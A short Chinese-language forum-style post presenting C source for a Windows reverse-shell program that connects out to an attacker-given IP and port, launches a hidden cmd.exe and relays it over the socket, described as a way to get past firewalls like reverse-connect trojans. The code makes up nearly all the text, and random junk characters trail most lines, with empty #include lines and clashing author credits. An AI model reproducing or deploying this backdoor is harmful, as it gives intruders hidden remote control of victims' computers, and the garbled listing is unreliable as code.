Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 :cA8[!  
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/* ============================== ?'si^N  
Rebound port in Windows NT _z@_.%P\  
By wind,2006/7 f9HoQDFsM  
===============================*/ n{!=gR.v.  
#include gMPvzBpP  
#include h$d`Jmaq  
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#pragma comment(lib,"wsock32.lib") =.IAd<C  
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void OutputShell(); {3BWT  
SOCKET sClient; .X"\ Mg  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^@$T>SB1  
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void main(int argc,char **argv) gb26Y!7%  
{ 1`9'.w+r  
WSADATA stWsaData; h`D+NZtWm  
int nRet; A<-3u  
SOCKADDR_IN stSaiClient,stSaiServer; yW;]J87*  
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if(argc != 3) v{) *P.E  
{ <%"CQT6g%  
printf("Useage:\n\rRebound DestIP DestPort\n"); 8Ib5  
return; ~V/?/J$  
} h@{CMe
 
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WSAStartup(MAKEWORD(2,2),&stWsaData); mpzm6Ieu  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +2m\Sv V  
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stSaiClient.sin_family = AF_INET; \O\veB8  
stSaiClient.sin_port = htons(0); R}$A>)%dx  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~g&Gi)je  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3Ol`i$  
{ Gu%}B@4^  
printf("Bind Socket Failed!\n"); (y?`|=G-xT  
return; wTn"  
} \P9HAz'6  
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stSaiServer.sin_family = AF_INET; 41o~5:&  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); b@[\+P] "  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?r R, h{~  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Tl*FK?)MC^  
{ ;CA7
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printf("Connect Error!"); E>rWm_G  
return;  gX]'RBTb  
} "0{t~?ol  
OutputShell(); T0BM:ofx  
} A"T*uv|  
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void OutputShell() p"q4R2_/jh  
{ tH9BC5+r}  
char szBuff[1024]; 5x}OrfDU  
SECURITY_ATTRIBUTES stSecurityAttributes; vH vwH  
OSVERSIONINFO stOsversionInfo; UzUt=s!^H  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; X-5&c$hv  
STARTUPINFO stStartupInfo; zqb3<WP"  
char *szShell; WQ1*)h8,9  
PROCESS_INFORMATION stProcessInformation; ^/jALA9!  
unsigned long lBytesRead; *Ui>NTl  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); R^GLATM  
H_7X%TvXb  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #VM-\02o  
stSecurityAttributes.lpSecurityDescriptor = 0; %I;iP|/  
stSecurityAttributes.bInheritHandle = TRUE; `L {dF  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N,u~ZEI  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }@jT-t]P  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); lof}isOz  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b{l
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stStartupInfo.wShowWindow = SW_HIDE; u9)<i]2  
stStartupInfo.hStdInput = hReadPipe;
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; SK {ALe  
R6dD17  
GetVersionEx(&stOsversionInfo); f*ZIBTb 9  
%/=#8v4*  
switch(stOsversionInfo.dwPlatformId) /,2${$c!  
{ x2H?B`5  
case 1: ;PhX[y^*  
szShell = "command.com"; vq*)2.  
break; }_o!fV  
default: >-YWq  
szShell = "cmd.exe"; ,a?$F1Z-  
break; "e~"-B7(\Y  
} oj~0zJI  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9oJ=:E~CP  
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send(sClient,szMsg,77,0); e025m}%SU  
while(1) U^{'"x+  
{ I4^}C;p0?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @~`2Lo/  
if(lBytesRead) QyX ?  
{ Kly`V]XE  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9% AL f 9  
send(sClient,szBuff,lBytesRead,0); m8njP-CZ  
} W]DZ
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else fF} NPl  
{ aqAWaO  
lBytesRead=recv(sClient,szBuff,1024,0); 8k`rj;  
if(lBytesRead<=0) break; N>4uqFo  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vd'd@T  
} f.&Y_G3a<  
} V
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:
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return; b_T?jCyW  
}